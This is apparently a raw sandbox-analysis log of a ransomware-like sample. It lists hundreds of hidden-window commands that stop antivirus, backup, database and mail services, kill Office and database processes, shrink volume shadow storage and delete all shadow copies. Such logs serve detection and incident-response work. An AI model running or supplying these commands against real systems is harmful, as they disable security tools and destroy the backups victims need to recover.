'%WINDIR%\syswow64\cmd.exe' /C net stop SQLTELEMETRY$ECWDB2 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Device Control Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKeyScheduler /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos MCS Agent" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SAVService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM steam.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamCloudSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SmcService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_update /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SDRSVC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop AcronisAgent /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_filter /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SstpSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamDeploySvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mspub.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamCatalogSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamBackupSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM oomm.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$TPS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop svcGenericHost /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM powerpnt.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$BKUPEXEC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ARSM /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Acronis VSS Provider" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mydesktopqos.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM msftesql.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlwriter.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerADHelper100 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop EPUpdateService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecAgentBrowser /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamRESTSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM dbeng50.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_update_64 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop “SQLsafe Filter Service” /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop POP3Svc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$VEEAMSQL2008R2 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$VEEAMSQL2012 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamTransportSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MySQL57 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqboreservie.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Clean Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecManagementService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop tmlisten /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SamSs /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLSERVERAGENT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Web Control Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SNAC /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mbamtray.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM syntime.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop UI0Detect /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$TPSAMA /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PRACTICEMGT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$SQL_2008 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM ossd.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM dbsnmp.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SBSMONITORING /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop W3Svc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos System Protection Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop EsgShKernel /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlservr.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLSafeOLRService /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamMountSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecVSSProvider /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Safestore Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop klnagent /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PROD /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$TPS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLBrowser /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop msftesql$PROD /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer100 /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop FA_Scheduler /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Enterprise Client Service" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop TmCCSF /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamHvIntegrationSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeFramework /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM wordpad.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeFrameworkMcAfeeFramework /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop DCAgent /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQL Backups" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SHAREPOINT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$TPS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop "Symantec System Recovery" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C vssadmin Delete Shadows /all /quiet' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM oautoupds.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM msaess.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeMGMT /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SBSMONITORING /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLSERVER /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeIS /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecJobEngine /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop “Acronis VSS Provider” /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thunderbird.exe /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop Smcinst /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamEnterpriseManagerSvc /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM NTAoSMgr.exe /F' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamDeploymentService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM Ntrtsan.exe /F
'%WINDIR%\syswow64\net1.exe' stop mfefire /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SMTPSvc /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM infopath.exe /F
'%WINDIR%\syswow64\net1.exe' stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop mfefire /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeES /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net1.exe' stop ESHASRV /y
'%WINDIR%\syswow64\cmd.exe' /C net stop EPSecurityService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeES /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlbrowser.exe /F
'%WINDIR%\syswow64\net1.exe' stop "Sophos AutoUpdate Service" /y
'%WINDIR%\syswow64\net1.exe' stop McTaskManager /y
'%WINDIR%\syswow64\cmd.exe' /C net stop AcrSch2Svc /y
'%WINDIR%\syswow64\net1.exe' stop EPSecurityService /y
'%WINDIR%\syswow64\net1.exe' stop KAVFSGT /y
'%WINDIR%\syswow64\net1.exe' stop SMTPSvc /y
'%WINDIR%\syswow64\net1.exe' stop SntpService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer /y
'%WINDIR%\syswow64\net1.exe' stop Antivirus /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SntpService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld-nt.exe /F
'%WINDIR%\syswow64\net1.exe' stop ekrn /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thebat64.exe /F
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer110 /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop Antivirus /y
'%WINDIR%\syswow64\cmd.exe' /C net stop McShield /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM PNTMon.exe /F
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer110 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PRACTTICEBGC /y
'%WINDIR%\syswow64\net1.exe' stop SAVAdminService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecRPCService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM onenote.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop ekrn /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SAVAdminService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ESHASRV /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM visio.exe /F
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM orale.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Agent" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKey /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop RESvc /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM tmlisten.exe /F
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLWriter /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\net1.exe' stop NetMsmqActivator /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop NetMsmqActivator /y
'%WINDIR%\syswow64\net1.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$TPS /y
'%WINDIR%\syswow64\net1.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop McShield /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop TrueKey /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop IMAP4Svc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop McTaskManager /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos AutoUpdate Service" /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PRACTTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mydesktopservie.exe /F
'%WINDIR%\syswow64\net1.exe' stop MSExchangeMTA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\net1.exe' stop RESvc /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeMTA /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop KAVFSGT /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Agent" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop IMAP4Svc /y
'%WINDIR%\syswow64\net1.exe' stop SepMasterService /y
'%WINDIR%\syswow64\net1.exe' stop AVP /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld-opt.exe /F
'%WINDIR%\syswow64\net1.exe' stop MMS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop sacsvr /y
'%WINDIR%\syswow64\net1.exe' stop MBAMService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop EraserSvc11710 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop EhttpSrv /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MMS /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\net1.exe' stop ShMonitor /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop EhttpSrv /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MBAMService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thebat.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop ShMonitor /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PROD /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeEngineService /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos File Scanner Service" /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM zoolz.exe /F
'%WINDIR%\syswow64\net1.exe' stop McAfeeEngineService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop mfemms /y
'%WINDIR%\syswow64\cmd.exe' /C net stop “SQLsafe Backup Service” /y
'%WINDIR%\syswow64\net1.exe' stop MBEndpointAgent /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM NTAoSMgr.exe /F
'%WINDIR%\syswow64\net1.exe' stop “Enterprise Client Service” /y
'%WINDIR%\syswow64\cmd.exe' /C net stop klnagent /y
'%WINDIR%\syswow64\cmd.exe' /C net stop AVP /y
'%WINDIR%\syswow64\net1.exe' stop OracleClientCache80 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MBEndpointAgent /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Health Service" /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeSRS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop “Enterprise Client Service” /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM agntsv.exe /F
'%WINDIR%\syswow64\net1.exe' stop TrueKeyServiceHelper /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop OracleClientCache80 /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net1.exe' stop “SQLsafe Backup Service” /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeSRS /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM isqlplussv.exe /F
'%WINDIR%\syswow64\net1.exe' stop bedbg /y
'%WINDIR%\syswow64\cmd.exe' /C net stop WRSVC /y
'%WINDIR%\syswow64\net1.exe' stop sacsvr /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop bedbg /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net1.exe' stop WRSVC /y
'%WINDIR%\syswow64\net1.exe' stop EraserSvc11710 /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Safestore Service" /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PROD /y
'%WINDIR%\syswow64\net1.exe' stop IISAdmin /y
'%WINDIR%\syswow64\net1.exe' stop macmnsvc /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop VSS /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SHAREPOINT /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeSA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM winword.exe /F
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM ensv.exe /F
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM xfssvon.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeSA /y
'%WINDIR%\syswow64\net1.exe' stop SQLWriter /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer /y
'%WINDIR%\syswow64\net1.exe' stop mfemms /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop IISAdmin /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop macmnsvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop mozyprobackup /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Safestore Service" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos File Scanner Service" /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKeyServiceHelper /y
'%WINDIR%\syswow64\cmd.exe' /C net stop mozyprobackup /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SepMasterService /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop mfevtp /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM tbirdonfig.exe /F
'%WINDIR%\syswow64\net1.exe' stop swi_service /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_service /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\cmd.exe' /C net stop mfevtp /y
'%WINDIR%\syswow64\net1.exe' stop VSS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Health Service" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop W3Svc /y
'%WINDIR%\syswow64\net1.exe' stop wbengine /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop PDVFSService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos MCS Agent" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos MCS Client" /y
'%WINDIR%\syswow64\net1.exe' stop KAVFS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop kavfsslp /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Message Router" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop ntrtscan /y
'%WINDIR%\syswow64\net1.exe' stop MySQL80 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop KAVFS /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM steam.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop PDVFSService /y
'%WINDIR%\syswow64\net1.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MySQL80 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ntrtscan /y
'%WINDIR%\syswow64\net1.exe' stop POP3Svc /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM outlook.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net1.exe' stop VeeamCloudSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$BKUPEXEC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop wbengine /y
'%WINDIR%\syswow64\net1.exe' stop ARSM /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Message Router" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Device Control Service" /y
'%WINDIR%\syswow64\net1.exe' stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop “SQLsafe Filter Service” /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM dbeng50.exe /F
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop TrueKeyScheduler /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Device Control Service" /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop SAVService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLTELEMETRY /y
'%WINDIR%\syswow64\net1.exe' stop masvc /y
